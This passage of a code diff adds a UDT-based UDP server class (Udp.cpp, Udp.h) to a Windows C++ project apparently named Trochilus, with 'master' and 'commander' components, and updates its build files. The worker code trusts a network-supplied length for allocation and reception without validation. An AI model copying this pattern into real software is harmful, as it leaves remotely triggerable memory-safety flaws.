argv->s = m_sock;
argv->lpParameter = this;
UDT::listen(m_sock,25);
_beginthread(Listen,0,argv);
ret = true;
} while (FALSE);
return ret;
}
void CUdp::Stop()
{
UDT::close(m_sock);
m_cs.Enter();
VecSocket::iterator it = m_vecSock.begin();
for (; it != m_vecSock.end(); it++)
{
UDT::close(*it);
}
m_cs.Leave();
}
void CUdp::Worker(LPVOID lpParameter)
{
UDP_ARGV *argv = (UDP_ARGV*)lpParameter;
UDP_HEADER header;
UDTSOCKET socket = argv->s;
BOOL ret = TRUE;
ByteBuffer toSender;
while(ret)
{
int rsize = UDT::recv(socket,(char*)&header,sizeof(UDP_HEADER),0);
if (ret && header.flag == UDP_FLAG)
{
LPBYTE lpData = (LPBYTE)malloc(header.nSize);
rsize = UDT::recv(socket,(char*)lpData,header.nSize,0);
if ( rsize == header.nSize )
{
if (argv->handler(lpData,header.nSize,argv->sin,toSender))
{
header.nSize = toSender.Size();
UDT::send(socket,(char*)&header,sizeof(UDP_HEADER),0);
UDT::send(socket,(char*)((LPBYTE)toSender),toSender.Size(),0);
}
}
free(lpData);
}
else
{
break;
}
}
UDT::close(socket);
delete lpParameter;
}
void CUdp::ListenProc( UDP_ARGV *argv )
{
SOCKADDR_IN sin;
int addrlen = sizeof(sin);
UDTSOCKET fhandle;
while (true)
{
if (UDT::INVALID_SOCK == (fhandle = UDT::accept(m_sock, (sockaddr *)&sin, &addrlen)))
break;
m_cs.Enter();
m_vecSock.push_back(fhandle);
m_cs.Leave();
UDP_ARGV * client_argv = new UDP_ARGV;
client_argv->handler = argv->handler;
client_argv->sin = sin;
client_argv->s = fhandle;
client_argv->lpParameter = argv->lpParameter;
_beginthread(Worker,0,client_argv);
}
UDT::close(m_sock);
delete argv;
}
void CUdp::Listen(LPVOID lpParameter)
{
UDP_ARGV *argv = (UDP_ARGV*)lpParameter;
CUdp* udp = (CUdp*)argv->lpParameter;
return udp->ListenProc((UDP_ARGV*)lpParameter);
}

View File

@ -0,0 +1,43 @@
#pragma once
#include "udt/udt.h"
#include "UdpDefines.h"
typedef BOOL (*udpHandler)(LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender);
typedef struct
{
UDTSOCKET s;
SOCKADDR_IN sin;
udpHandler handler;
LPVOID lpParameter;
}UDP_ARGV,*PUDP_ARGV;
class CUdp
{
public:
CUdp(void);
~CUdp(void);
typedef std::vector<UDTSOCKET> VecSocket;
void Init();
BOOL Start(int port, udpHandler handler);
void Stop();
private:
UDTSOCKET m_sock;
udpHandler m_handler;
static void Listen(LPVOID lpParameter);
void ListenProc(UDP_ARGV *argv);
static void Worker(LPVOID lpParameter);
CriticalSection m_cs;
VecSocket m_vecSock;
};

View File

@ -62,6 +62,8 @@
<ModuleDefinitionFile>master.def</ModuleDefinitionFile>
<ImportLibrary>..\..\libsD\$(TargetName).lib</ImportLibrary>
<AdditionalLibraryDirectories>..\..\libsD\;..\..\..\base\lib\x86\;</AdditionalLibraryDirectories>
<AdditionalDependencies>
</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@ -166,6 +168,7 @@
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="Tcp.h" />
<ClInclude Include="Udp.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\..\base\include\encrypt\encrypt.cpp" />
@ -203,6 +206,7 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="Tcp.cpp" />
<ClCompile Include="Udp.cpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="master.rc" />

View File

@ -300,6 +300,9 @@
<ClInclude Include="Tcp.h">
<Filter>comm</Filter>
</ClInclude>
<ClInclude Include="Udp.h">
<Filter>comm</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
@ -398,6 +401,9 @@
<ClCompile Include="Tcp.cpp">
<Filter>comm</Filter>
</ClCompile>
<ClCompile Include="Udp.cpp">
<Filter>comm</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="master.rc">

View File

@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand>..\..\bin\commander.exe</LocalDebuggerCommand>
<LocalDebuggerCommand>..\..\bin\Trochilus.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">